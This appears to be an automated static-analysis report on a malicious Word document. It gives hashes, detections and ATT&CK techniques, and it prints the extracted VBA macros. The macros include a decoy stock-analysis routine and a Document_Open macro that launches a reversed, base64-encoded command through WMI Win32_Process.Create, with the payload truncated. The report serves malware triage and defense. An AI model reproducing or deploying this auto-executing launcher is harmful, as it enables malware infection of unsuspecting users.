Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 33b796e9c6bd389a…

MALICIOUS

Office (OLE)

72.0 KB Created: 2020-03-04 13:58:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: f546f93c52bad9bb20b2dd61f1167d0a SHA-1: f4831d8f38c9241dc231b92169d977037a9f55ad SHA-256: 33b796e9c6bd389a1352a01f9ea96fb7124ca2e493712b6e4b60899d491a93d4
284 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro that utilizes GetObject and WMI (Win32_Process.Create) to execute code. The document body provides a lure instructing the user to enable editing and content, a common tactic for macro-based malware. The presence of a Document_Open macro and the WMI execution strongly suggest a downloader or initial execution stage.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-7609655-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7609655-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4901 bytes
SHA-256: 0ec6a126503bfa1eb9ed880d3d87db02a81d0e007e4e2c4e362bf6cced0c129c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub StockMarketAnalysis():

    ' loop / iterate through all Worksheets
    For Each ws In Worksheets

        ' column headers / data field labels
        ws.Range("I1").Value = "Ticker"
        ws.Range("J1").Value = "Yearly Change"
        ws.Range("K1").Value = "Percent Change"
        ws.Range("L1").Value = "Total Stock Volume"
        ws.Range("O2").Value = "Greatest % Increase"
        ws.Range("O3").Value = "Greatest % Decrease"
        ws.Range("O4").Value = "Greatest Total Volume"
        ws.Range("P1").Value = "Ticker"
        ws.Range("Q1").Value = "Value"

        ' set/declare initial variables and set default/baseline variables
        Dim TickerName As String
        Dim LastRow As Long
        Dim TotalTickerVolume As Double
        TotalTickerVolume = 0
        Dim SummaryTableRow As Long
        SummaryTableRow = 2
        Dim YearlyOpen As Double
        Dim YearlyClose As Double
        Dim YearlyChange As Double
        Dim PreviousAmount As Long
        PreviousAmount = 2
        Dim PercentChange As Double
        Dim GreatestIncrease As Double
        GreatestIncrease = 0
        Dim GreatestDecrease As Double
        GreatestDecrease = 0
        Dim LastRowValue As Long
        Dim GreatestTotalVolume As Double
        GreatestTotalVolume = 0

        ' determine the last row
        LastRow = ws.Cells(Rows.Count, 1).End(xlUp).Row
        
        For i = 2 To LastRow

            ' add to ticker total volume
            TotalTickerVolume = TotalTickerVolume + ws.Cells(i, 7).Value
            ' check if we're still within the same ticker name if it is not...
            If ws.Cells(i + 1, 1).Value <> ws.Cells(i, 1).Value Then

' cowards way out <3

                ' set ticker name
                TickerName = ws.Cells(i, 1).Value
                ' print the ticker name in the summary table
                ws.Range("I" & SummaryTableRow).Value = TickerName
                ' print the ticker total amount to the summary table
                ws.Range("L" & SummaryTableRow).Value = TotalTickerVolume
                ' reset ticker total
                TotalTickerVolume = 0

                ' set Yearly Open, Yearly Close and Yearly Change Name
                YearlyOpen = ws.Range("C" & PreviousAmount)
                YearlyClose = ws.Range("F" & i)
                YearlyChange = YearlyClose - YearlyOpen
                ws.Range("J" & SummaryTableRow).Value = YearlyChange

                ' determine Percent Change
                If YearlyOpen = 0 Then
                    PercentChange = 0
                Else
                    YearlyOpen = ws.Range("C" & PreviousAmount)
                    PercentChange = YearlyChange / YearlyOpen
                End If
                ' format double to include % symbol and two decimal places
                ws.Range("K" & SummaryTableRow).NumberFormat = "0.00%"
                ws.Range("K" & SummaryTableRow).Value = PercentChange

                ' conditional formatting highlight positive (green) / negative (red)
                If ws.Range("J" & SummaryTableRow).Value >= 0 Then
                    ws.Range("J" & SummaryTableRow).Interior.ColorIndex = 4
                Else
                    ws.Range("J" & SummaryTableRow).Interior.ColorIndex = 3
                End If
            
                ' add one to the summary table row
                SummaryTableRow = SummaryTableRow + 1
                PreviousAmount = i + 1
                End If
            Next i

End Sub

Sub Document_Open()
Call GetObject("winmgmts:root\cimv2:Win32_Process"). _
Create(StrReverse("AAHAsBQYA8GAxAAdAACA0BwcAkGAMBAdA4GAlBQbAUHAnBgcAEEAtAAIA0GAvBwYA4CAvBAZAkGA2BAIAMHAzBQZAMGAvBgcAAFAtAAdAIHAhBAdAMFAgAAIAs
... (truncated)